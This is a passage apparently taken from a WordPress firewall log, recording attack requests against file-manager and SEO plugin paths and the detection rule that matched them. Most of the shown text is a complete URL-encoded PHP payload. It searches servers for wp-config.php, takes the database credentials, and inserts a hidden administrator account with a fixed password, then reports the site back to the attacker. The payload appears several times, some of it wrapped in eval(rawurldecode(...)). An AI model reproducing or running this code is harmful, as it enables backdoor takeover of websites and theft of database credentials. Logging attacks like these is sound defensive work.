user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));"]
["2026-04-18 23:37:51","213.209.159.254","POST","\/wp-content\/plugins\/wp-file-manager\/lib\/php\/plugins\/Watermark\/plugin.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Gu:%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B","POST \/wp-content\/plugins\/wp-file-manager\/lib\/php\/plugins\/Watermark\/plugin.php HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nhost:dewenlabels.com\nsec-fetch-site:none\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=8daaffd16fd7c7835307f0d6af9d1696; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvE3HvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWznJ5xVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\ncontent-length:12640\ncontent-type:application\/x-www-form-urlencoded\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-user:?1\nsec-fetch-mode:navigate\n\nGu=%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B"]
["2026-04-18 23:38:45","213.209.159.254","POST","\/wp-content\/plugins\/wordpress-seo\/admin\/class-yoast-notification-center.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> cmgIbF:eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6V